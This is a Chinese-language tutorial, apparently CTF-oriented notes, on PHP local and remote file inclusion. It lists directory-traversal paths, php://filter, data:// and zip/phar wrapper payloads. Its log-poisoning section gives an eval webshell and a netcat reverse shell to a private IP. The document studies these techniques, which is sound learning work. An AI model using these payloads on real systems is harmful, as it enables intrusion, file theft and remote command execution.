文件包含-基础
概述
原理
PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
php文件包含漏洞通常由以下几个函数引发:
include() #包含并运行指定文件,失败产生警告,脚本会继续运行。 include_once() #若文件已经被包含过,则不会再次包含。
require() #包含并运行指定文件,失败将导致脚本中止。 require_once() #若文件已经被包含过,则不会再次包含。
当利用这四个函数来包含文件时,不管文件是什么类型,都会直接作为php文件进行解析,如果被包含的文件中无有效的php代码,则会直接把文件内容输出。
分类
LFI(Local File Inclusion) 本地文件包含漏洞。顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。前面的例子就属于此类。
RFI(Remote File Inclusion) 远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性就会很大。
php中开启远程文件包含利用需要在php.ini中配置如下:
allow_url_fopen = On #默认为On
allow_url_include = On #php5.2之后就默认为Off
利用
目录遍历
<?php include("inc/" . $_GET['file']); ?>
linux中这两个文件储存着所有文件的路径,需要root权限:
?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db
日志,配置文件
?file=../../../../../../../../../var/log/apache/error.log ?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf
伪协议
php伪协议
关于文件包含漏洞,比较常用的还有php的php://伪协议
这里比较常用的是:
php://input php://filter
php://input
利用条件:
allow_url_include = On
即可如图所示利用:
php://filter
可获取文件内容
file=php://filter/read=convert.base64-encode/resource=flag.php
file=php://filter/convert.base64-encode/resource=flag.php
关于文件名:有时服务端可能会自动拼接后缀名,例如提交page=upload可能会被拼接为ipload.php,所以在获取失败时不妨去掉后缀名试试。
通过指定末尾的文件,可以读取经base64编码后的文件源码
其它伪协议的利用
phar://
可获取压缩包中文件内容
事先得知道压缩文件目录结构
?file=phar://flag.zip/flag.txt
zip://
用法同上,但使用zip协议,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件才会包含成功
?file=zip://D:\phpStudy\PHPTutorial\WWW\flag.zip%23flag.txt
data:URI schema
命令执行
?file=data:text/plain, ?file=data:text/plain, ?file=data:text/plain,
执行效果如下:
还可编码绕过:
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B #phpinfo(); ?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg== #system(‘whoami’); ?file=data:text/plain;base64,PD9waHAgZWNobyBgd2hvYW1pYDs/Pg==
php支持的协议种类
file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 phar:// — PHP 归档 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 ssh2:// - Secure Shell 2 rar:// - RAR ogg:// — 音频流 expect:// — 处理交互式的流
这些均可用于支持文件系统操作的函数例如fopen(),copy(),file_exists(), filesize()
测试用例:
<?php echo file_get_contents($_GET['test']); ?>
1.file:// — 访问本地文件系统
直接传入路径即可,以file://开始可能会失败 如果不加以限制可能会泄露信息 访问:http://127.0.0.1/test.php?test=../phpStudy.ini
2.http:// — 访问 HTTP(s) 网址
访问:http://127.0.0.1/test.php?test=http://127.0.0.1/test.php?test=test.php
3.ftp:// — 访问 FTP(s) URLs
1 | 这年头谁还用ftp啊 |
---|---|
4.php:// — 访问各个输入/输出流(I/O streams)
php://input,php://stdout,php://stderr 直接访问 PHP 进程相应的输入或者输出流 php://fd 允许直接访问指定的文件描述符。 例如 php://fd/3 引用了文件描述符 3。 php://memory 和 php://temp 是一个类似文件 包装器的数据流,允许读写临时数据。temp>2M时写入文件 php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用 在双off时都可以使用,容易造成任意文件读取
5.zip://,bzip2://, zlib:// — 压缩流
双off也可以用 用于读取压缩文件,注意#需要进行url编码 #前为压缩文件路径,后为压缩文件内的文件名 zip://test.zip%23file.txt
6.phar:// — PHP 归档
同上 注意压缩文件必须要后缀(可以是任意后缀) phar://test.zip/test.php
7.data:// — 数据(RFC 2397)
很常用的数据流构造器 , 将读取后面base编码字符串后解码的数据作为数据流的输入 一般用于构造输入:data://text/plain;base64,SSBsb3ZlIFBIUAo=
8.glob:// — 查找匹配的文件路径模式
用于查找文件,但是没法直接使用 需要DirectoryIterator()
常用姿势
日志文件包含
可以写在User-Agent里或者其他地方
往日志写入webshell <?php @eval($_POST[1]);?>
写入反弹shell <?php system('nc 192.168.111.128 7788 -e /bin/sh');?>
nginx的日志默认路径
访问日志:/usr/local/nginx/logs/access.log 或者 /var/log/nginx/access.log
错误日志:/usr/loacl/nginx/logs/error.log 或者/var/log/nginx/error.log
/var/log/nginx/access.log
Apache运行后一般默认会生成两个日志文件,Windos下是access.log(访问日志)和error.log(错误日志),Linux下是access_log和error_log
(1) apache+Linux日志默认路径 /var/log/httpd/ 或者 /var/log/apache2/ 目录下
/etc/httpd/logs/access_log 或者 /var/log/httpd/access_log
(2) apache+win2003日志默认路径
D:\xampp\apache\logs\access.log D:\xampp\apache\logs\error.log
php默认错误日志文件路径:/var/log/php-fpm/www-errot.log